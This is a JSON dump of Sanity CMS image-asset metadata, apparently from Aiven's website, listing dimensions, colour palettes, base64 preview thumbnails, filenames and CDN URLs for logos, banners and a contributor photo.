{"_createdAt":"2022-07-08T09:49:25Z","_id":"image-2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e-1814x710-png","_rev":"QRl2cGoCgj0FlAhkRriUlo","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:34Z","assetId":"2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D5S6Pm-;~WWB?b?boKtRbIDi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.554929577464789,"height":710,"width":1814},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABXElEQVQokV2S6Y6DMAyE+/4v2D896PagEHI7IQmls7J7SLtICMWYzzNjNqUUWGthjEGMEbVWPB4PLMuClJLUlVIYlZKnMRbaBQwmwEcCEUkPM+Z5xoY/5qLWGn3fYxhGhBhRSkXOGdM0oes67HY7XC4XOOcQKKEfFS7XG5z3Mph7mbV5Pp9yYNh+v8et7zFZj0BZoAw4HA7Ybre4Xq9IiaTOqniAMUaUtdbALAGybVZ4v9/hQwDNBZQL2rJIBPxuGAbESBJFawsoJWhj326K1L/AT16cg/deGmpryKUh5AITCNpHOMqguSKXCk8Z2kWk/FLHdv8AWfrpdBLL1gdQnuFoxmAJNx3wM1p0/YSbsvCUpKcflDj6qBMgACmM44jueISaNGxIooCVpNIQ5wobCKO20NaB6LX98/mVIavj6wtc11UW8/lt6rKg1JcNvCc/11XOfHMPg3hJ9h/wF/aCZr2XpocwAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535556","foreground":"#fff","population":1.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d4667","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#babfc1","foreground":"#000","population":2.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babfc1","foreground":"#000","population":2.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccec","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c84a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#225278","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e-1814x710.png","path":"images/sczeoy4w/production/2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e-1814x710.png","sha1hash":"2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e","size":143458,"uploadId":"rImSTs3qvqIzqe3NvE3VgbwUnf3YyDFa","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a7150b75e63a1e5f1d49ad5aa480f635f1ac37e-1814x710.png"} {"_createdAt":"2022-06-15T20:02:45Z","_id":"image-2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEe6i5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:59Z","assetId":"2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXPsCjpy~VIBJAXCXmMxs9x]?GROIUoMg3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADGElEQVQokTXO3U/bdhTGcf95vdrVrtZVaGtQIaNjgAq4BS62lRQYokBBbOpGVVRaCWYy0QQ22pESyFrsvAFJTPwSx3bixP7ZhMTOqCDnTGHbxdHnPHdfqlCsDp0K6vO8oAVPBZU5zatMXtSY9t9WksuMKJcYQdIZuVhhjLLNEElhzg72mfOtLaa2u8/YOXmDVJwVQs4fUKJcep5K8wKXyDhs/IRwiQxJpnkST2RIeydTOZJI5a7NZvLESBySxtqP5OJhL/nY7yMfB++R5uJTpx6JSTWl+IrSy05QLhiOIOmYFzUUpBJKhfK17S3K/3qSlTD5/hCPVhcxP9aBYucNLHx2A6uffoL1LzrRm5qtuXt7YcokLmMS16paDaxajZZJXKhaLpQr51BQLRALFTjJybD9+y78tLAAM0N3YdZ/E55034JfvroNW3e7Wsd9fVidnrbdN+HXlGV7jGV7xLI9tGwP2lbMBmZPVfzj7QGuMyF88XIdA48m0d/tx06fD3v8fqSHBnFuego3lpcg/uszNN4xTjMTCf1fSEziYrvOsl0slW18Fz3E2blFpOkRHBqmkaZpHB7oxbH+LpwYHcDlxRmMbL5E4a8gkKMgNvNbzpWyG/qv0CWW3UBC6i2b1KBarkAsGoX5x4/h3kA/+Hy3ob+vF5YCNGzPD0BsZRyOd1bASAThb/43aElhBOVPB4v7IYpY5wyxasQ2bXRMs1UzDahXNChmE7DNrMKTH8bha/8d6Lh1E6ZGeiH2YgKKkWWocOvQyG7ClbzTwmIUQftgg8a+ps40dYMosmMqIp7pEniGiBdGHj31GPV0BOM7a7iyMIk9d77Eni4fPpsPYOrNKlbTYWwKEWyp7xE1FkHjzkDnwlQ9f7REMvGEkY1LjpzmL/ST3GXpiL/Sk/ylyvJNKcbn9jZyc4FRvqe7U5r6fkyNbq4qJBORL4sfZNBYCXVOAY1Ngsb+THnK8ed1KTVSkxLfekry/pWepEGP06Bx14c6RzfFg+G3a0/vjw5+83Diu9GZg9CryYYQGweNDYDGtn0EGjsGOtfxD1Txvob4h3OIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#413f3f","foreground":"#fff","population":2.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f1105","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f74b38","foreground":"#fff","population":5.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c5b3","foreground":"#000","population":3.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb886","foreground":"#000","population":0.85,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#647894","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f74b38","foreground":"#fff","population":5.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844.png","path":"images/sczeoy4w/production/2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844.png","sha1hash":"2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9","size":484448,"uploadId":"yVyF6D7ymwleTETG2qty6rEQg7DEpe74","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a83f5b5541fc8f099a2e3afe3d136d43ea02fd9-1567x844.png"} {"_createdAt":"2023-06-12T10:16:28Z","_id":"image-2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308-png","_rev":"OSa4Of7leLeKOMRytOXxaI","_type":"sanity.imageAsset","_updatedAt":"2023-06-12T10:16:28Z","assetId":"2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLSC[Y_Ou5L2mQ-VR*kVjFeoHX*0ROaJtl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACgElEQVQokU3SW0iTcRjH8VcbJhWYkREdSDpRXRhBWpaWWlp2uJKOurnUIsEDHTDnlK10GIGW0mVWUDdFGi0sIkILM5ddBFFSUWtmJ23lju+7d+3/jblJXTzwXH34PTw/iYIY2BcPhTPg4FTYHwMHJSiSQCch9BKUSqilEsM6DYPFs3hWsQybIQ1bfTo2w1peNKznVXMuQ627kdgbB2XzoHI5lC+Ew0lwOBGOJEB5IqI8AY5ocOsl+kuS6W48xOOrzfTfuED/zXb6b7Rh67zIy+4OXj+8jjSRrmoVmLKhIROMaWBYA3WrwZSKaEiB6lk49Rp6qzdgu9/J15ERRr+O8OPbF0Z/fOfn2Ci/fzlxjf+OgpUrwJwD5jCaDuaNcCYDmjIQjelgXI7z6Ez6anIYGuhBlgMoPh+y7EVRZdSgSigUIhQSkwlXgnkLmLIi4JnNYMkCyyZEc3hfh7N6AX2ntvJmoAePT8Hl9uDyjOOR3fhlP4FAAFVV/z85JwKaMuF0BuL0BkRTJuJsNljSIqAhj6Hnvbh9AcZdXlxeF94oqChKFNyjgZK5kadULoXKxVCVDFUL4fgiRM0SqF2Es2I2T43beTv4BL8/gM/twed3I6s+lIBCUFX5EwwiURALB6aDNgG0M6AoHrQahG4KQj8FURYHxxIZO7mAR/W76Htwh492O/YP7/hof4/dYcfu+ITDMYxj+HM0oT5clflQNgd00yZ6KAolhFZClMQgTibx3ZzCvbp8rp2r4dalFm53tNDZ0Rqd83RdbqPrSvskOPsfWDwdCmMQRRIiXOySWILHkxizpDJozqb7xCasJ7K4a9iGtS4fa20u1to8rMYdWI07+QtEpzcl6Dk03gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c3c44","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fccc7","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcba67","foreground":"#000","population":0.06,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Whats_new_with_Aiven_for_Apache_Flink_Q2-2023_Social_Media_1200x628.png","path":"images/sczeoy4w/production/2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308.png","sha1hash":"2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3","size":347303,"uploadId":"oIJlek7yNAi7GuJaBL5JpMUZoc5kCxz4","url":"https://cdn.sanity.io/images/sczeoy4w/production/2a9d555e1d29aabe73a2465a497acb4ffe6c1dd3-2500x1308.png"} {"_createdAt":"2024-02-26T14:42:29Z","_id":"image-2aa237f2e9aebd61612274dfea96805c1563b56e-1500x127-png","_rev":"goLk0XsDDQxPwHP2lILFNR","_type":"sanity.imageAsset","_updatedAt":"2024-02-26T14:42:29Z","assetId":"2aa237f2e9aebd61612274dfea96805c1563b56e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"42Q0XH~q00-;00","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":11.811023622047244,"height":127,"width":1500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAABCAYAAADeko4lAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAPUlEQVQImS3MoQmAYBQGwOcGbmDQaPrBImIUxGpw/0G+E8F64QqFDhOeJDdOXNgwYMSK4/cdDQtm9N+RpF4nlT9PMXib0wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":0.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0c0c0","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-cobranding-aiven-GCP-white-compact.png","path":"images/sczeoy4w/production/2aa237f2e9aebd61612274dfea96805c1563b56e-1500x127.png","sha1hash":"2aa237f2e9aebd61612274dfea96805c1563b56e","size":24995,"uploadId":"oayTirLipiabTR3CseJxcgbbApBl28eU","url":"https://cdn.sanity.io/images/sczeoy4w/production/2aa237f2e9aebd61612274dfea96805c1563b56e-1500x127.png"} {"_createdAt":"2022-09-19T17:34:43Z","_id":"image-2ab3f42af15e8c62cbade9cedc99df78b0cea7a9-690x413-png","_rev":"Mv9ba7QfcthzshVwIcVtcd","_type":"sanity.imageAsset","_updatedAt":"2022-09-19T17:34:43Z","assetId":"2ab3f42af15e8c62cbade9cedc99df78b0cea7a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6707021791767553,"height":413,"width":690},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABNklEQVQoka2SzUrDUBCFT1qrNTBHi7VWrCCISqHiH/7gGyiu+xJu3Au+g+Cqc7a+p9zkprk2RTe98JHJZO6ZycwAKz/mJVSNqemjJyzzecnvgEqwShKe8WI+W0iS2JaIJ0IZqA6otbLCtNo0yX+C5h2Y92A6BvUI6gKmIejboHqgtkAZ6IEc9C6oTVDroNpFAXO/Z4hiLzC9g/oE9QHTFPRrUBNQV0USemAC+imoMagTUIegjkA/A30P9FYQ3IHpFdQ3KIH6AvUG6gHUOUy3oO5AD9zHRNHWDRi++yXog6rCjXh5CuoJ1DOoELwP0y5MA1B90PuxiiGoA9BHJRpFsW7sYdHY0I8cVN0fUysShlU1PSt+q6YdCXY5tPk0G6uTEN6Hs+V7V1HFNhd4QfSvJW4QBFd8fgBk3JHywvevQAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":86.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#070b7c","foreground":"#fff","population":0.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":86.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#030795","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d80fc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#030795","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0409b8","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ovh-cloud-690x413.png","path":"images/sczeoy4w/production/2ab3f42af15e8c62cbade9cedc99df78b0cea7a9-690x413.png","sha1hash":"2ab3f42af15e8c62cbade9cedc99df78b0cea7a9","size":19948,"uploadId":"39zwnaNAF4y9sNS5nrM2H6KmidCWqK9A","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ab3f42af15e8c62cbade9cedc99df78b0cea7a9-690x413.png"} {"_createdAt":"2022-06-30T19:57:25Z","_id":"image-2ac9db3543f269327fe753ff09dcd663beda041d-640x460-png","_rev":"QRl2cGoCgj0FlAhkRrhfn4","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:11Z","assetId":"2ac9db3543f269327fe753ff09dcd663beda041d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VFN^h{E100M|00_3oe%2t7t7Dij[_3e.-;~qfkt7j[of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJUlEQVQ4jX2T60tTYRzHz18QBEFFUkT3FxUIXV5ERWWFmlHTMirKLIugDJFmmdvcyOVyrtusKLph0DTUbloZae64vOR6lbfmu0qdzV3O2blte77xnM1YFL348Dw85/w+/C7Pw1y79xBX7z+AvfYxedTYhJet7+Ds7ER3dzd6e3vR19cHt9v9F5/dbvUb2+nCm9ZW0tzcjJaWFjBZJ04j/dhJ7CvSkisPa8H2fsKX/n4MDAxgcHAQQ0NDGB4ehsfj+YORkRH1P0fTM5SZK4nhYgVsNhuY1dn7yYqsbJKWdxx36xvIt9ExBAIBTE5Owu/3qwSDQYTDYYiiqCIIAiRJwoTPh9rG5+RAYRHyTxUSvcFAqBDLMzXYknccj5pewOf3q0FUQAOnghVFQSQSUaH7WCyGEM/jacsbHC3W4sSZIhjKy8Gs2LkHC7dmYd3+I7hT34gfXi8CwRCCHAeBZiNKEKQkRAlhQYQkywiGOLx934bSciOKz2qh1+nBLMvMwdzNO7BmXx5u1zXg+7gXPn8AgRAHQZIhyso/kSIRhDgeHR0dMFeYUaLVouxCGZglGTlI2bwDq1VhI0a9E4kM+Xh2U0gSREmGrCiQlQgi0Rg4nofT6cQlsxnnSkriGS5Kz8acTZlYlRsXjk34wPFh8Ikh0LLFJGRZVnsYjUbVPrMsC4vFgtLSUpTTHi7YrsGsjRlI3XMYtxwNGPtJhQJ4PiFMDIbu6XAoVBqNxRAWBLhcLlitVuh0OhiNRjDztu3GjA3pWJlzCDWOBnh9kxAEOuW4ZIrkSStUKMsIc5wqrLbZoNfr48KUbRoyfUMGWZ6Th5v1TYQOgxCilkSvRjL0nK4Kz0MZHwc3OgoXyxIq1Ol0xGgyEWb2Vg2mrc/AUs0hYq2tU6ecXOrvkhMr7VuQXi2PBxNfv+JDWxus1TaiN5lgqrSAmZ+ZS2am7SaLdx1EgamKPHn1GuzHLvUt9/T0/AU973K50OV0gm1vR53DQSxVVTBetpKKa3bCrD1QEEvde4Sk5uZjU/4pUnDeAIvtCux2+/+pqcENu52+X1JpscBcbSOV12/EfgGJ/HtC0vJvygAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4b52","foreground":"#fff","population":2.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#143e4a","foreground":"#fff","population":11.28,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#143e4a","foreground":"#fff","population":11.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c4b2","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48880","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#618ea1","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d85b5f","foreground":"#fff","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2ac9db3543f269327fe753ff09dcd663beda041d-640x460.png","path":"images/sczeoy4w/production/2ac9db3543f269327fe753ff09dcd663beda041d-640x460.png","sha1hash":"2ac9db3543f269327fe753ff09dcd663beda041d","size":22659,"uploadId":"CHBLR2A83U2PRxOaTheqrsZCzpJBE5Tm","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ac9db3543f269327fe753ff09dcd663beda041d-640x460.png"} {"_createdAt":"2024-03-04T16:14:19Z","_id":"image-2ad66714d9bd46b4aba065ca77f33e9089165cee-1180x320-svg","_rev":"3k3vwhvhnpMxr5ODyxseTy","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:14:19Z","assetId":"2ad66714d9bd46b4aba065ca77f33e9089165cee","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6875,"height":320,"width":1180},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAt0lEQVQYlTXQTSsEYBTF8V9jFrNTKCOva6VZqGmUl1goCjNTFqIIE2bkrSjfXnc6Fqfz3Ofezv134Rh3+MAEJ1jBGjrxFmbQiP+riTlsYAnr8IQXPCfwGrs4wll0iC62sYNe1MEBrgJyXoFfGOMh/ogLDDDMsm+84h0/eAvIbUB+06/ZaaOCqii/CeEeTrO9hu9DXyGX6RV9P6rlBTH9HOEz4XXTNuZzm03sYyt3Wo0vYDE+m/fyH+qDGwfV6lBvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":100.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-openai.svg","path":"images/sczeoy4w/production/2ad66714d9bd46b4aba065ca77f33e9089165cee-1180x320.svg","sha1hash":"2ad66714d9bd46b4aba065ca77f33e9089165cee","size":2988,"uploadId":"Vh4I81TMKI98jy0YBvl1DkTQEuBPKVoj","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ad66714d9bd46b4aba065ca77f33e9089165cee-1180x320.svg"} {"_createdAt":"2022-11-07T08:01:55Z","_id":"image-2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9-2976x2976-jpg","_rev":"wKuLlvEOHLNDUP7J6GS4AE","_type":"sanity.imageAsset","_updatedAt":"2022-11-07T08:04:11Z","altText":"Nick Chiu, CTIO at James Job and contributor to the Aiven collaborators program!","assetId":"2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9","description":"Nick Chiu is the CTIO of James Job AG, a startup that provides job seekers with the best job matches, taking minimal effort. He’s worked in the software services building area for over 20 years and has had the opportunity to work in many different industries, which helped him gain a lot of insight into solution architecture.","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2976,"width":2976},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUGAgMEB//EACcQAAIBBAECBQUAAAAAAAAAAAECAwAEBREGExQHEiExYUFRkbHR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAMB/8QAHBEBAAICAwEAAAAAAAAAAAAAAQACESEDMUES/9oADAMBAAIRAxEAPwCD4/i5JiuiOqx0CfZfmpaCG7w2Z7a/vorq1l2Q4Gih/lYxZywwTW6yTx90zqFi36nZ+tc/iNk48dk0kuo+nDIQVcL8e1F39A+xgVeO1vSWJUgm20Uiuu9bBpUbxO8ivcOtxCqhHdiNUqqGdQ1VTc8H5Hcyy8jvpHclxIQD9q2ZzkWSzNvZRZC4MqW6eVPT90pVMdTBdyzcMyt3BhhHHKQiyNofilKUazuUOp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564f2d","foreground":"#fff","population":1.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2e4f62","foreground":"#fff","population":1.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#908779","foreground":"#fff","population":8.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b8b0","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcafa1","foreground":"#000","population":7.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#908779","foreground":"#fff","population":8.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc8874","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"NickChiu.jpg","path":"images/sczeoy4w/production/2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9-2976x2976.jpg","sha1hash":"2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9","size":1694589,"title":"Nick Chiu","uploadId":"VfUReQjUBzArgGOBKPwGU7KCYel2pGaa","url":"https://cdn.sanity.io/images/sczeoy4w/production/2b17d30dd2d2c7f073f49b4c7c3a492ce10b2ed9-2976x2976.jpg"} {"_createdAt":"2023-07-04T11:09:12Z","_id":"image-2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016-png","_rev":"JYPY47z56tlYU4gVy4zTe0","_type":"sanity.imageAsset","_updatedAt":"2023-07-04T11:09:12Z","assetId":"2b3af31a096e6bc5e3d703b8b44b386ef022dab6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKOzfGbb%Nt8t84oe.%Naeoz_4ozoMkDRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7874015748031495,"height":1016,"width":1816},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACoUlEQVQokT2SW28TVxSF518ikSIRLk9QqnCRUAEV1JcKaEHiIsAtKUUoqoQIEHNRQhLLdmIbJ3bisScee2x8iWfGc/HYNDRxiOerznHFw9JeZ52tb2vrHKVlh7S7IKrR/EJO3Sa9ZpDMlEmktkikiqxmt8jkKqx8rBBPlYmndFJrdTY1m5a5i+2PMD3BCVEEqGkJjai1dylVXPLFNsl0mQ+xHAvL6ywlNoitFFiI5Zlf3iCZqZJTLTQjoGXtYXkHmO5oDDRaQxIfO7x6W+T1XI6Xc+tE32+yGNeYjaaJTL8j8keUyOM3PJp+z4tolsV4lVfvisy+zhF9k+PtvEpqvUN9e4ii6n1u359ncvIGJyd+YnLiGj+ce8TTv1e5H1lg8vhNjhy6zMShyxw9/iv3Ios8mUlxeirCkcM/c+y7qxw7cZM7DxcoVQco5dqA35/EmDp7lwunf2Hq1HWuXP2L2WiemedpLv74mHNnbkldvDTNzPOMvLty7Rlnvhf5b5y/8IA/n8WpND6jdJx9CppJLL7J0lKW5eU1VjM6lXoPveaTzlaJJwskV1QyawZ63afaCMjm6yRWiuM8W6VseFjeVxTxQi1zgFZusKFWKJQMjE82lruH7e1Jr2o1ilt16k2Hrj/E7R/QsQfoRpstvUmr4+P09un2QhRLAj9TKjdYz2vkC7qE2N5QSvhNtSpVb3Ql0OuPMLv/SJhaqtHc9un2vsqvo3SDENvbldM1vUG52qJt9nGCA9xghOXs8KnlSNnujoR5/RDH36O57X3Lnd6Ijvg2AugGBxJqdnewnC84PbHWCDcI8foCPMQN9qV3glBKeE9kwT6+6LH/xdZMFMsL5e5CotHth3iDsbf/zwXY6YXYfojoF1WcxwPH1a108Ofm+A8G1PcBbyvmfAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603136","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091c71","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#091c71","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#969ac4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4d64af","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f55431","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016.png","p